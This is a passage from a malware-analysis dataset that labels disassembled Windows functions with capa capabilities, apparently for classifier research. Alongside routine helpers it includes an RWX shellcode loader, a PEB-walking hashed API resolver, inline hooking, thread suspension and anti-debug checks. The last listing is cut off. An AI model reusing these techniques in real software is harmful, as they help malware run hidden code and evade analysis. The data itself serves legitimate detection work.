joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000d768
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1800040dc
xor ebx, ebx
cmp qword [0x1800192c0], rbx
mov rdi, rax
jne 0x18000d87b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x18000d952
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000d952
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1800192c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1800192c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1800192d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1800192e0], rax
test rax, rax
je 0x18000d872
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1800192d8], rax
jmp 0x18000d882
mov rax, qword [0x1800192d8]
jmp 0x18000d889
mov rax, qword [0x1800192d8]
mov r11, qword [0x1800192e0]
cmp rax, rdi
je 0x18000d8f0
cmp r11, rdi
je 0x18000d8f0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1800192e0]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x18000d8f0
test rax, rax
je 0x18000d8f0
call rsi
test rax, rax
je 0x18000d8ea
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18000d8ea
test byte [rsp + 0x40], 1
jne 0x18000d8f0
bts ebp, 0x15
jmp 0x18000d930
mov rcx, qword [0x1800192c8]
cmp rcx, rdi
je 0x18000d930
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18000d930
call rax
mov rbx, rax
test rax, rax
je 0x18000d930
mov rcx, qword [0x1800192d0]
cmp rcx, rdi
je 0x18000d930
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18000d930
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1800192c0]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18000d952
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x18000d954
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180001250
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140011285
Capabilities:
Terminate process

Disassembly:
jmp 0x1400140f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011325
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015440
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015460
xor al, al
jmp 0x1400154e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015473
xor al, al
jmp 0x1400154e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001549d
xor al, al
jmp 0x1400154e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400154b1
xor al, al
jmp 0x1400154e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400154c3
xor al, al
jmp 0x1400154e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400154df
xor al, al
jmp 0x1400154e1
mov al, 1
add rsp, 0x38
ret
Function at 0x180001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x220
mov ebx, 3
lea rcx, [rsp + 0x20]
mov eax, ebx
lea rdx, [0x1800021a0]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x180001020
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
mov r8d, 0x3000
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
movzx eax, byte [rdx + 0x7e]
mov edx, 0x1ff
mov byte [rcx + 0x7e], al
xor ecx, ecx
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
lea rcx, [rsp + 0x20]
mov rdx, rax
nop dword [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rbx, 1
jne 0x1800010f0
movups xmm0, xmmword [rcx]
mov rax, qword [rcx + 0x70]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rax
mov eax, dword [rcx + 0x78]
mov dword [rdx + 0x78], eax
movzx eax, word [rcx + 0x7c]
mov word [rdx + 0x7c], ax
movzx eax, byte [rcx + 0x7e]
mov byte [rdx + 0x7e], al
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
mov rbx, qword [rsp + 0x230]
add rsp, 0x220
pop rdi
jmp qword [sym.imp.KERNEL32.dll_VirtualFree]
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d9
push r9
push r8
push rdx
push rcx
xor rdx, rdx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x14000403a
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x140004030
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040ce
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040ce
add rax, rdx
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
mov ecx, dword [rax + 0x18]
jrcxz 0x1400040cd
dec rcx
xor r9, r9
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004084
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004075
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004024
Function at 0x18000d520
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd rbp, r9d
mov r14, r8
test r8, r8
je 0x18000d547
and qword [r8], 0
call fcn.18000d62c
mov rbx, rax
test rax, rax
je 0x18000d60f
mov rcx, rax
call fcn.18000d4a8
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000d606
mov rax, qword [0x1800d0fc8]
test rax, rax
je 0x18000d57f
inc dword [rax + 0xf4]
mov rdx, qword [0x1800d0fd8]
lea rcx, [rdi + rbp]
call qword [0x1800cf1a0]
mov rsi, rax
test rax, rax
je 0x18000d606
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, rdi
je 0x18000d5de
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1800d0fc8]
test rax, rax
je 0x18000d5cc
dec dword [rax + 0xf4]
mov rdx, qword [0x1800d0fd8]
mov rcx, rsi
call qword [0x1800cf1a8]
jmp 0x18000d60f
test ebp, ebp
jle 0x18000d5f0
lea rcx, [rsi + rdi]
mov r8, rbp
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x18000d601
mov qword [r14], rdi
mov rax, rsi
jmp 0x18000d611
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x18000e0fc
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rcx
not r8d
test rdx, rdx
je 0x18000e12a
movzx eax, byte [r9]
inc r9
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
lea rax, [0x180059ef0]
xor r8d, dword [rax + rcx*4]
sub rdx, 1
jne 0x18000e107
not r8d
mov eax, r8d
ret

Function at 0x18000e134
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
not r8d
mov r10, rcx
mov r9d, r8d
test rdx, rdx
je 0x18000e18e
mov r11b, 0x23
lea rbx, [0x180059ef0]
movzx edi, byte [r10]
dec rdx
inc r10
cmp dil, r11b
jne 0x18000e178
cmp rdx, 2
jb 0x18000e178
cmp byte [r10], r11b
jne 0x18000e178
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
xor rcx, rdi
shr r9d, 8
xor r9d, dword [rbx + rcx*4]
test rdx, rdx
jne 0x18000e156
jmp 0x18000e1cf
mov dl, byte [rcx]
inc r10
test dl, dl
je 0x18000e1cf
mov r11b, 0x23
lea rbx, [0x180059ef0]
cmp dl, r11b
jne 0x18000e1b3
cmp byte [r10], r11b
jne 0x18000e1b3
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
movzx eax, dl
mov dl, byte [r10]
xor rcx, rax
shr r9d, 8
inc r10
xor r9d, dword [rbx + rcx*4]
test dl, dl
jne 0x18000e1a1
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret
Function at 0x18001014c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c58], 0
lea rbx, [rcx + 0x5c60]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x1800101e5
mov r9d, dword [rbx + 4]
test r9d, r9d
jns 0x18001019d
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.18001c814
and dword [rbx], 0
mov r8, rsi
mov rdx, rbp
mov rcx, rbx
call fcn.18001be30
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c58]
lea ecx, [rax - 1]
neg eax
sbb eax, eax
and eax, ecx
lea rcx, [0x1800d0fd0]
movsxd r8, eax
mov rax, qword [rdi + 0x5c68]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x1800101ed
mov rcx, rbx
call fcn.18001be30
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x18001725c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x1800d0fc8]
mov rbx, rcx
and dword [rax + 0x5bbc], 0
test rcx, rcx
je 0x1800172c5
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.1800172d0
lea rdx, [0x18005b66c]
mov rcx, rbx
mov rdi, rax
call fcn.18000d62c
mov rbx, rax
test rax, rax
je 0x1800172c5
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1800471fc
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rax, qword [0x1800d07c0]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov eax, ecx
mov esi, edx
imul rbx, rax, 0x38
add rbx, qword [0x1800d26d0]
mov rdx, qword [rbx]
mov cl, byte [rbx + 0x20]
mov rbp, rdx
lea rdi, [rdx - 5]
and cl, 1
je 0x180047241
mov rbp, rdi
movzx eax, cl
lea r9, [rsp + 0x20]
test cl, cl
mov r8d, 0x40
cmove rdi, rdx
lea r14, [rax*2 + 5]
mov rcx, rdi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180047277
mov eax, 0xa
jmp 0x180047306
test esi, esi
je 0x180047299
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, ebp
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x1800472ba
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x1800472ba
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x1800472b4
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
mov al, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x1800472ba
mov al, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, r14
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov al, sil
shl sil, 2
add al, al
xor al, byte [rbx + 0x20]
and al, 2
xor al, byte [rbx + 0x20]
xor sil, al
and sil, 4
xor sil, al
mov byte [rbx + 0x20], sil
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180056720
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x180047368
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1800d07c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov r15d, edx
mov rdi, rcx
mov qword [rcx], rbx
mov qword [rcx + 8], rbx
xor edx, edx
mov r14d, r8d
mov esi, ebx
lea ecx, [rbx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x180047504
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x1800474a6
lea esi, [rbx + 1]
cmp dword [rsp + 0x20], 0x10
jb 0x180047462
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x180047462
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x180047462
mov rdx, qword [rdi]
test rdx, rdx
jne 0x180047424
mov dword [rdi + 8], 0x80
mov r8d, 0x200
mov rcx, qword [0x1800d1380]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rdi], rax
mov rdx, rax
test rax, rax
je 0x18004748a
jmp 0x180047455
mov eax, dword [rdi + 8]
cmp dword [rdi + 0xc], eax
jb 0x180047455
add eax, eax
mov r8, rdx
mov r9d, eax
xor edx, edx
mov dword [rdi + 8], eax
mov rcx, qword [0x1800d1380]
shl r9, 2
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdx, rax
test rax, rax
je 0x18004748a
mov qword [rdi], rax
mov ecx, dword [rdi + 0xc]
mov eax, dword [rsp + 0x28]
mov dword [rdx + rcx*4], eax
inc dword [rdi + 0xc]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rbp
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1800473d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1800474a6
mov esi, ebx
cmp qword [rdi], rbx
je 0x1800474a6
mov r8, qword [rdi]
xor edx, edx
mov rcx, qword [0x1800d1380]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rdi], rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x180047504
cmp qword [rdi], rbx
je 0x180047509
mov esi, ebx
cmp dword [rdi + 0xc], ebx
jbe 0x180047509
mov r8, qword [rdi]
xor edx, edx
mov eax, esi
lea ecx, [rdx + 0x5a]
mov r8d, dword [r8 + rax*4]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbp, rax
test rax, rax
je 0x1800474fb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, r14d
mov edx, r15d
mov rcx, rbp
call fcn.180047748
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [rdi + 0xc]
jb 0x1800474bf
jmp 0x180047509
mov ebx, 9
mov eax, ebx
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180056720
mov rbx, qword [rsp + 0x90]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800478e4
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
je 0x180047948
xor edi, edi
cmp dword [rcx + 0xc], edi
jbe 0x180047936
mov r8, qword [rbx]
xor edx, edx
mov r8d, dword [r8 + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x18004792f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x180047903
mov r8, qword [rbx]
xor edx, edx
mov rcx, qword [0x1800d1380]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x180047cbc
Capabilities:
Check for software breakpoints

Disassembly:
mov r8b, byte [rcx]
mov r9d, edx
test r8b, r8b
je 0x180047cd3
cmp r8b, 0x90
je 0x180047cd3
cmp r8b, 0xcc
jne 0x180047cf5
mov r10d, 1
mov edx, r10d
cmp r9d, r10d
jbe 0x180047cf1
mov eax, edx
cmp byte [rax + rcx], r8b
jne 0x180047cf5
add edx, r10d
cmp edx, r9d
jb 0x180047ce1
mov eax, r10d
ret
xor eax, eax
ret
Function at 0x1800520dc
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor ebp, ebp
cmp byte [0x1800d18ce], bpl
je 0x1800522ba
mov rax, qword [0x1800d2060]
test rax, rax
jne 0x1800521ab
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov rdx, rbx
mov r8, qword [rdx + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x180052190
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x180052190
mov esi, dword [r9 + 0x20]
dec r10d
mov r11d, 0x811c9dc5
lea rax, [rsi + r10*4]
mov ecx, dword [rax + r8]
add rcx, r8
mov al, byte [rcx]
inc rcx
test al, al
je 0x18005218b
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
inc rcx
test al, al
jne 0x180052168
cmp r11d, 0x95466b05
je 0x18005229c
test r10d, r10d
jne 0x18005214b
mov rax, qword [rdx]
mov rdx, rax
cmp rax, rbx
je 0x1800521a1
cmp qword [rax + 0x30], rbp
jne 0x180052126
mov rax, rbp
mov qword [0x1800d2060], rax
mov ecx, dword [0x1800d18f4]
call rax
test ax, ax
je 0x1800522ba
mov rax, qword [0x1800d13c0]
mov rcx, qword [rax]
test rcx, rcx
je 0x1800522ba
mov r11, qword [rcx + 8]
test r11, r11
je 0x1800522ba
mov rax, qword [0x1800d13c8]
mov r8, qword [rax]
test r8, r8
je 0x1800522ba
mov r8, qword [r8 + 0x18]
test r8, r8
je 0x1800522ba
mov r9d, ebp
mov r10, rbp
movsxd rax, r9d
cmp rax, qword [r8 + 0x108]
jae 0x1800522ba
mov rdx, qword [r8 + 0x100]
test rdx, rdx
je 0x180052290
mov rdx, qword [r10 + rdx]
test rdx, rdx
je 0x180052290
cmp rdx, r11
je 0x180052290
mov eax, dword [0x1800d13ec]
mov ecx, dword [rax + rdx]
test ecx, ecx
je 0x180052290
and ecx, 0x1fc000
cmp ecx, 0x8000
je 0x180052290
movsd xmm0, qword [r11 + 0x90]
movss xmm2, dword [r11 + 0x98]
movsd qword [rsp + 0x20], xmm0
movss xmm1, dword [rsp + 0x24]
addss xmm1, dword [0x180059b20]
movss xmm0, dword [rsp + 0x20]
mov dword [rdx + 0x280], 0x3dcccccd
unpcklps xmm0, xmm1
movsd qword [rdx + 0x90], xmm0
movss dword [rdx + 0x98], xmm2
inc r9d
add r10, 0x10
jmp 0x180052202
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
jmp 0x1800521a4
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x1800528fc
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
movaps xmmword [rax - 0x28], xmm6
xor r14d, r14d
cmp byte [0x1800d1863], r14b
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
je 0x180052b22
mov rax, qword [0x1800d2060]
test rax, rax
jne 0x1800529dd
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r10, rbx
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x1800529c2
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x1800529c2
mov esi, dword [r9 + 0x20]
dec edx
mov r11d, 0x811c9dc5
lea rax, [rsi + rdx*4]
mov ecx, dword [rax + r8]
add rcx, r8
mov al, byte [rcx]
inc rcx
test al, al
je 0x1800529be
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
inc rcx
test al, al
jne 0x18005299b
cmp r11d, 0x95466b05
je 0x180052a57
test edx, edx
jne 0x18005297f
mov rax, qword [r10]
mov r10, rax
cmp rax, rbx
je 0x1800529d3
cmp qword [rax + 0x30], r14
jne 0x18005295b
mov rax, r14
mov qword [0x1800d2060], rax
mov ecx, dword [0x1800d0444]
call rax
test ax, ax
jns 0x180052b22
call fcn.18004cf8c
mov rbx, rax
test rax, rax
je 0x180052b22
cmp dword [0x1800d0470], 1
jne 0x180052b22
movss xmm9, dword [0x1800d1428]
lea rcx, [rbp - 0x50]
movss xmm6, dword [0x1800d142c]
xor r8d, r8d
mulss xmm9, dword [0x180059b1c]
mov rdx, rax
mulss xmm6, dword [0x180059b1c]
call fcn.18004cc4c
mov ecx, dword [0x1800d1874]
sub ecx, 1
je 0x180052a7c
sub ecx, 1
je 0x180052a74
cmp ecx, 1
jne 0x180052a8e
mov r8d, ecx
jmp 0x180052a82
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
jmp 0x1800529d6
mov r8d, 8
jmp 0x180052a82
mov r8d, 7
mov rdx, rbx
lea rcx, [rbp - 0x50]
call fcn.18004cc4c
movsd xmm8, qword [rbp - 0x50]
lea rdx, [rbp - 0x50]
mov ebx, dword [rbp - 0x48]
lea rcx, [rbp + 0x20]
movsd qword [rbp - 0x50], xmm8
mov dword [rbp - 0x48], ebx
call fcn.180051ed0
movss xmm0, dword [rbp + 0x24]
cvtps2pd xmm1, xmm6
cvtps2pd xmm0, xmm0
subsd xmm0, xmm1
movsd xmm1, qword [0x180061898]
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [0x180061898]
